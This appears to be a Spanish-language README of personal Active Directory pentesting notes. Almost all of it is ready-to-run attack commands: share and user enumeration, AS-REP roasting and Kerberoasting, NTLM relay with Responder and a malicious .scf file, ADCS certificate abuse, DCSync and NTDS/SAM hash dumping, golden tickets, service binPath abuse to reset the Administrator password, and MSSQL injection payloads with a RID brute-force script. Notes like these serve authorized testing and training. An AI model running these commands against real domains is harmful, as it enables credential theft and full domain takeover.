Este repositorio está dedicado a recopilar y organizar mis notas sobre pentesting enfocado en Directorio Activo. Aquí encontrarás información detallada, técnicas, herramientas y procedimientos utilizados durante las pruebas de penetración en entornos de Directorio Activo.
Listar recursos compartidos en red
smbclient -L <dc> -N
Listar recursos y privilegios sobre ellos
smbmap -H <dc> -u 'guest'
smbmap -H <dc>
smbmap -H <dc> -r resurso -> Si lo quieres hacer sobre un recurso en especifico
smbmap -H <dc> --download recurso -> Si quieres descargar archivos
Listar recursos y permisos
crackmapexec smb <ip> -u '' -p '' --shares
Listar las ACL sobre los recursos compartidos
smbcalcs "//<dc>/recurso_compartido" -N
Listar usuarios validos en el DC
rpcclient -U "" <dc> -N
enumdomusers
Utilizar ldapsearch
para enumerar nombres de domino, usuarios, etc.
ldapsearch -x -H ldap://<dc-ip> -b "DC=<nombre>,DC=<nombre>"
Enumerar el dominio
ldapdomaindump -u 'dc.local\usuario' -p 'contraseña' <ip-dominio>
Si al listar los recursos compartidos del servidor smb tienes permiso de lectura de IPC$ entonces puedes realizar bruteforce del rid, en el cual vienen los usuarios, para hacerlo utiliza el siguiente comando:
nxc smb <ip> -u 'guest' -p '' --rid-brute
crackmapexec <servicio> <ip> -u 'Usuario' -p 'Contraseña'
Los servicios mas comunes son smb, winrm y rpc.
mount -t cifs "//<dc>/<recurso_compartido>" /mnt/montura
Si se obtiene un usuario con contraseña valida puede tratar de autenticarse en equipos de un segmento de red
crackmapexec smb 192.168.1.0/24 -u 'usuario' -p 'contraseña'
kerbrute userenum --dc <ip-dc> -d <dominio>.local usuarios.txt
Si tu como usuario del dominio tienes permisos de generic write sobre otros usuarios puedes modficar sus propiedades para que sean vulnerables a ASREPRoast, en powershell escribimos el siguiente comando
Get-ADUser <usuario-a-atacar> | SetADAccountControl -doesnotrequirepreauth $true
Ahora podemos hacer el ataque
Solicitar TGT de ususarios validos
GetNPUsers.py <dc.local>/ -no-pass -usersfile usuarios.txt
Solicitar un TGS
GetUserSPNs.py <dominio>.local/user:pass -request
En algunas versiones de windows dentro de SYSVOL (accesible por smb) se encuentra un archivo groups.xml que contiene contraseñas cifradas y usuarios del dominio
Para descifrar la contraseña
gpp-decrypt 'contraseña-cifrada'
Cuando el servidor smb no esta firmado
python3 Responder.py -I <interfaz> -rdw
Primero debemos montar un recurso compartido con impacket
impacket-smbserver <recurso> $(pwd) -smb2support
Luego creamos un archivo con terminación .scf con el siguiente contenido:
[Shell]
Command=2
IconFile=\\<mi-ip>\<recurso>\icono.ico
[Taskbar]
Command=ToggleDesktop
Primero en el archivo de configuración del Responder (/usr/share/responder/Responder.conf) set off a HTTP y off a SMB
python3 Responder.py -I <interface> -rdw
Ahora se crea un archivo de targets.txt donde se ponen las ip a atacar
ntlmrelayx.py -tf <target.txt> -smb2support -c "powershell ping <ip>"
psexec.py <dominio>/<usuario>[:contraseña] cmd.exe
El constrained language mode es una restriccion que no nos permite utilizar todas las funcionalidades de powershell
Verificar que estamos en el clm
$ExecutionContext.SessionState.LanguageMode
Si la salida es ConstrainedLanguage
podemos utilizar el siguiente repo para bypassear https://github.com/padovah4ck/PSByPassCLM
BloodHound recolectara información de los ususarios y nos mostrar vias potenciales para convertirnos en domain admins
bloodhound-python -c ALL -u 'usuario' -p 'contraeña' -ns <ip-dominio> -d <dominio>.local
Enviamos el siguiente script al sistema: https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1, luego en powershell ejecutamos
Invoke-BloodHound -CollectionMethod All
Es una vulnerabilidad en Kerberos que permite manipular TGT para añadir al usuario propietario del ticket a grupos administradores de dominio, para explotarla es necesario obtener las credenciales de un usuario valido del dominio y se ejecuta el siguiente comando:
impacket-goldenPac <dc.local>/<usuario>@<dc.ip>
Si es exitoso se nos entrega una shell como administrador
Si el directorio activo hace uso de Active Directory Certificate Services puedes buscar si los templates son vulnerables para obtener acceso como administrador, para hacerlo utiliza el siguiente comando:
certipy-ad find -u <usuario> -p <contraseña> -dc-ip <ip> -vulnerable -enabled
Esto generara un archivo json y un txt en ellos puedes revisar si existe alguna vulnerabilidad de tipo ESC, si es asi, encontraras toda la informacion necesaria para solicitar un archivo .pfx
con el cual extraert el hash NT del usuario administrator, una vez detectada la vulnerabilidad con el comando anterior utiliza el siguiente:
certipy-ad req -ca '<nombre de la entidad>' -dc-ip '10.10.113.28' -u '<usuario>' -p '<contraseña>' -template '<nombre del template>' -upn 'administrator@<dc>' -key-size <tamaño de bytes>
Ya que obtienes el archivo administrator.pfx consigues el hash NT de la siguiente forma:
certipy-ad auth -pfx administrator.pfx
Cuando tenemos acceso a un usuario del dominio con capacidad de realizar un DCSync attack (permiso GetChanges y GetChangesAll) utilizamos secretsdump.py para dumpear los hashes de todos los usuarios del DC
python3 secretsdump.py <dominio>.local/usuario:contraseña@<ip-dc>
Luego con estos hashes podremos hacer pass the hash con herramientas como wmiexec
Necesitaremos los archivos system y ntds.dit
reg save HKLM\system system
Y la ruta comun del ntds.dit es C:\Windows\NTDS\ntds.dit
Luego con impacket obtendremos los hashes NT de los usuarios del DC
impacket-secretsdump -system system -ntds ntds.dit LOCAL
Necesitaremos los privilegios SeBackupPrivilege y SeRestorePrivilege para obtener los archivos system y sam
reg save HKLM\system system
reg save HKLM\sam sam
Luego con impacket obtendremos los hashes NT de los usuarios del DC
impacket-secretsdump -system system -sam sam LOCAL
Primero executamos el mimikatz.exe dentro de la maquina victima (como usuario administrador de dominio) y luego aplicamos el siguiente comando
lsadump::lsa /inject /name:krbtgt
Guardamos el contenido de la salida en nuestra maquina
Luego utilizamos la informacion anterior para completar el siguiente comando
ticketer.py -nthas <Hash-NTLM> -domain-sid <sid-del-dominio> -domain <nombre-del-dominio> Administrator
Esto generarra un archivo .ccache
que tendremos que exportar como varibale de entorno
export KRB5CCNAME='/ruta/al/archivo/ccache/Administrator.ccache'
Entonces ahora nos podemos conectar sin contraseña sobre cualquier maquina del dominio aunque esta contraseña sea cambiada o deshabilitada
psecex.py -n -k <nombre-dominio>/Administrator@<ip-del-dc> cmd.exe
Es una herramienta que nos permite abusar de kerberos y realizar ataques como kerberoasting y asreproasting
https://github.com/GhostPack/Rubeus?tab=readme-ov-file#command-line-usage
Es una herramienta que nos permite conectarnos al escritorio remoto de windows, para instalarlo:
sudo gem install evil-wirm
Si detectamos que uno de los usuarios a los que tenemos acceso pertenece al grupo AccountOperators, este usuario puede crear otro usuario y añadirlo a cualquier grupo
net user <usuario> <contraseña> /add /domain -> Crear usuario
net group "<grupo>" <usuario> /add
Puede ser que queramos hacer esto porque el grupo tenga permisos como WriteAcl para asignarle un permiso DCSync y conseguir los hashes NT
Te permite modificar el BinPath de un servicio para ejecutar un comando cuando un servicio se reinicia, por ejemplo cambiar la contraseña del administrador, en powershell escribimos el siguiente comando:
sc.exe config browser binPath="C:\Windows\System32\cmd.exe /c net user Administrator pwn123!"
Una vez hecho esto paramos y reiniciamos el servicio con los siguientes comandos en powershell
sc.exe stop browser
sc.exe start browser
El administrador ya tiene la contraseña pwn123!
Las recomendaciones y explotaciones que vienen necesitan de modulos de powershell que se encuentran en PowerExploit, generalmente se utiliza PowerView.ps1
Si encontramos una vulnerabilidad sqli se pude intentar enumerar el dominio mediante funciones de MS SQL server
' union select 1,2,default_domain(),4,5-- -
El SID es una identificador unico compuesto del identificador del dominio y el identificador de usuario, en la inyeccion se puede obtener hacer fuerza bruta sobre el RID para obtener los nombres de usuario Primero debemos obtener el SID para un usuario valido, generalmente lo haremos para el usuario administrator porque se encuentra en todos los DC
' union select 1,2,(select sys.fn_varbintohexstr(SUSER_SID(<DOMINIO>\Administrator))),4,5-- - // 0xdeadbeef0105....
Aqui veremos una cadena del tipo "0xdeadbeef0105....", esta cadena quitando el "0x" tendra una longitud de 56 caracteres donde los primeros 48 equivalen al identificador de dominio y los 8 restantes al RID
En este punto tenemos el RID en hexadecimal (0xdeadbeef0105....) si hacemos la siguiente query
' union select 1,2,(select SUSER_SNAME(0xdeadbeef0105....)),4,5-- - // <Dominio>\Administrator
Ya que podemos observar que si le pasamos el SID nos devuelve el nombre de usuario podemos hacer fuerza bruta en los RID para obtnener los nombres de usuario del DC, para hacer esto tenemos que cambiar de decimal a hexadecimal el rango de numeros que queremos probar (generalmente del 1000 al 1200 son los RID de usuarios)
Por ejemplo para el rid 1001 usando python:
sid='deadbeef......' # Priemeros 56 caracteres de la consulta select sys.fn_varbintohexstr(SUSER_SID(<DOMINIO>\Administrator)) (eliminado el 0x)
rid=hex(1001) # RID 1001
rid_list=list(rid.replace('x',''))
rid_format = rid_list[2]+rid_list[3]+rid_list[0]+rid_list[1]+'0000'
payload='0x'+sid+rid_format
print(payload) # 0xdeadbeef......e9030000
Ahora si hacemos la consulta con nuestro payload obtenermos el usuario krbtgt, entonces solo bastaria hacer un ciclo for en nuesto codigo para tener los payloads para hacer bruteforce sobre los usuarios
' union select 1,2,(select SUSER_SNAME(0xdeadbeef......e9030000)),4,5-- - // <Dominio>\krbtg
En el caso de usuarios que tienen credenciales por defecto o son computadoras pre creadas se necesita hacer un cambio de contraseña, esto se puede lograr con las herramientas:
- smbpasswd
- impacket-changepasswd La primera por medio del protocolo smb y la segunda soporta protocolos como ldap, rpc, kerberos, etc.